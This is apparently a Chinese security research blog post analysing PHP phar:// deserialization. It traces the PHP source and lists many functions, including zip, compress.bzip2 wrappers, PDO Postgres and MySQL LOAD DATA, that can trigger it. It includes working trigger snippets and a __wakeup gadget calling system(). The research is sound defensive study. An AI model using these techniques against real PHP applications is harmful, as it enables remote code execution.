今年HITCON上,baby cake這一題,涉及到了今年BlackHat大會(huì)上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper這個(gè)議題,見:https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf?。它的主要內(nèi)容是,通過phar://協(xié)議對(duì)一個(gè)phar文件進(jìn)行文件操作,如file_get_contents,就可以觸發(fā)反序列化,從而達(dá)成RCE的效果。
在文章開頭部分,讓我先對(duì)phar反序列化做一些小小的分析。我們直接閱讀PHP源碼。在?phar.c#L618?處,其調(diào)用了php_var_unserialize。
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
因此可以構(gòu)造一個(gè)特殊的phar包,使得攻擊代碼能夠被反序列化,從而構(gòu)造一個(gè)POP鏈。這一部分已經(jīng)太常見了,CTF比賽中都出爛了,沒什么值得繼續(xù)討論的。值得關(guān)注的是到底為什么file_get_contents能夠?qū)崿F(xiàn)RCE。
因此,為解決這個(gè)問題,我們需要首先閱讀此函數(shù)的源碼。大概在此處:https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548?,重點(diǎn)關(guān)注此行:
stream = php_stream_open_wrapper_ex(filename, "rb", (use_include_path ? USE_PATH : 0) | REPORT_ERRORS, NULL, context);
可以注意,其使用的是php_stream系列API來打開一個(gè)文件。閱讀PHP的這篇文檔:Streams API for PHP Extension Authors,可知,Stream API是PHP中一種統(tǒng)一的處理文件的方法,并且其被設(shè)計(jì)為可擴(kuò)展的,允許任意擴(kuò)展作者使用。而本次事件的主角,也就是phar這個(gè)擴(kuò)展,其就注冊(cè)了phar://這個(gè)stream wrapper。可以使用stream_get_wrapper看到系統(tǒng)內(nèi)注冊(cè)了哪一些wrapper,但其余的沒什么值得關(guān)注的。
php > var_dump(stream_get_wrappers()); array(12) { [0]=> string(5) "https" [1]=> string(4) "ftps" [2]=> string(13) "compress.zlib" [3]=> string(14) "compress.bzip2" [4]=> string(3) "php" [5]=> string(4) "file" [6]=> string(4) "glob" [7]=> string(4) "data" [8]=> string(4) "http" [9]=> string(3) "ftp" [10]=> string(4) "phar" [11]=> string(3) "zip" }
那么,注冊(cè)一個(gè) stream wrapper,能實(shí)現(xiàn)什么功能呢?很容易就能找到其定義:https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132
typedef struct _php_stream_wrapper_ops { /* open/create a wrapped stream */ php_stream *(*stream_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC); /* close/destroy a wrapped stream */ int (*stream_closer)(php_stream_wrapper *wrapper, php_stream *stream); /* stat a wrapped stream */ int (*stream_stat)(php_stream_wrapper *wrapper, php_stream *stream, php_stream_statbuf *ssb); /* stat a URL */ int (*url_stat)(php_stream_wrapper *wrapper, const char *url, int flags, php_stream_statbuf *ssb, php_stream_context *context); /* open a "directory" stream */ php_stream *(*dir_opener)(php_stream_wrapper *wrapper, const char *filename, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC); const char *label; /* delete a file */ int (*unlink)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context); /* rename a file */ int (*rename)(php_stream_wrapper *wrapper, const char *url_from, const char *url_to, int options, php_stream_context *context); /* Create/Remove directory */ int (*stream_mkdir)(php_stream_wrapper *wrapper, const char *url, int mode, int options, php_stream_context *context); int (*stream_rmdir)(php_stream_wrapper *wrapper, const char *url, int options, php_stream_context *context); /* Metadata handling */ int (*stream_metadata)(php_stream_wrapper *wrapper, const char *url, int options, void *value, php_stream_context *context); } php_stream_wrapper_ops;
因此,我們發(fā)現(xiàn),一個(gè) stream wrapper,它支持以下功能:打開文件(夾)、刪除文件(夾)、重命名文件(夾),以及獲取文件的meta。我們很容易就能斷定,類似unlink等函數(shù)也是同樣通過這個(gè) streams api 進(jìn)行操作。
Sam Thomas 的 pdf 指出
This is true for both direct file operations (such as
“file_exists”) and indirect operations such as those that occur during external entity processing
within XML (i.e. when an XXE vulnerability is being exploited).
我們通過試驗(yàn)也很容易發(fā)現(xiàn),類似unlink等函數(shù)也均是可以使用的。
知道創(chuàng)宇404實(shí)驗(yàn)室的研究員 seaii 更為我們指出了所有文件函數(shù)均可使用(https://paper.seebug.org/680/):
僅僅是知道一些受影響的函數(shù),就夠了嗎?為什么就可以使用了呢?
當(dāng)然不夠。我們需要先找到其原理,然后往下深入挖掘。
先看file_get_contents的代碼。其調(diào)用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
這么個(gè)函數(shù)。
再看unlink的代碼,其調(diào)用了
wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);
這么個(gè)函數(shù)。
從php_stream_open_wrapper_ex的實(shí)現(xiàn),可以看到,其也調(diào)用了php_stream_locate_url_wrapper?。這個(gè)函數(shù)的作用是通過url來找到對(duì)應(yīng)的wrapper。我們可以看到,phar組件注冊(cè)了phar://這個(gè)wrapper,?https://github.com/php/php-src/blob/67b4c3379a1c7f8a34522972c9cb3adf3776bc4a/ext/phar/stream.c
其定義如下:
const php_stream_wrapper_ops phar_stream_wops = { phar_wrapper_open_url, NULL, /* phar_wrapper_close */ NULL, /* phar_wrapper_stat, */ phar_wrapper_stat, /* stat_url */ phar_wrapper_open_dir, /* opendir */ "phar", phar_wrapper_unlink, /* unlink */ phar_wrapper_rename, /* rename */ phar_wrapper_mkdir, /* create directory */ phar_wrapper_rmdir, /* remove directory */ NULL };
接著,讓我們翻這幾個(gè)函數(shù)的實(shí)現(xiàn),會(huì)發(fā)現(xiàn)它們都調(diào)用了phar_parse_url,這個(gè)函數(shù)再調(diào)用phar_open_or_create_filename?->?phar_create_or_parse_filename?->?phar_open_from_fp?->phar_parse_pharfile?->?
phar_parse_metadata?->?phar_var_unserialize。因此,明面上來看,所有文件函數(shù),均可以觸發(fā)此phar漏洞,因?yàn)樗鼈兌贾苯踊蜷g接地調(diào)用了這個(gè)wrapper。
只是這些文件函數(shù),就夠了嗎?
當(dāng)然不夠。這是一個(gè)所有的和IO有關(guān)的函數(shù),都可能觸發(fā)的問題。
前面我已經(jīng)指出,它們都有一個(gè)共同特征,就是調(diào)用了php_stream_locate_url_wrapper。但是這個(gè)不那么好用,換php_stream_open_wrapper更合適點(diǎn)。讓我們搜索一下PHP源代碼吧,
我們很快就能發(fā)現(xiàn),操作文件的touch,也是能觸發(fā)它的。不看文件了,我們假設(shè)文件全部都能用。
我們會(huì)驚訝(一點(diǎn)都不)地發(fā)現(xiàn):
exif
gd
hash
file / url
standard
zip
$zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test');
Bzip / Gzip
這,夠了嗎?non non噠喲!
如果題目限制了,phar://不能出現(xiàn)在頭幾個(gè)字符怎么辦?請(qǐng)欣賞你船未見過的船新操作。
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
當(dāng)然,它同樣適用于compress.zlib://。
Postgres
再來個(gè)數(shù)據(jù)庫吧!
<?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456")); @$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
當(dāng)然,pgsqlCopyToFile和pg_trace同樣也是能使用的,只是它們需要開啟phar的寫功能。
MySQL
還有什么騷操作呢?
……MySQL?
走你!
我們注意到,LOAD DATA LOCAL INFILE也會(huì)觸發(fā)這個(gè)php_stream_open_wrapper. 讓我們測試一下。
<?php class A { public $s = ''; public function __wakeup () { system($this->s); } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。
[mysqld] local-infile=1 secure_file_priv=""
……然后,走你!
這就是我想要看到的舞臺(tái)!——長頸鹿
很可惜,這不是默認(rèn)配置;但是,嗯,很有意思。
我相信,PHP代碼內(nèi)部還有相當(dāng)多的php_stream_open_wrapper等待挖掘,這只是關(guān)于stream wrapper利用的一小步。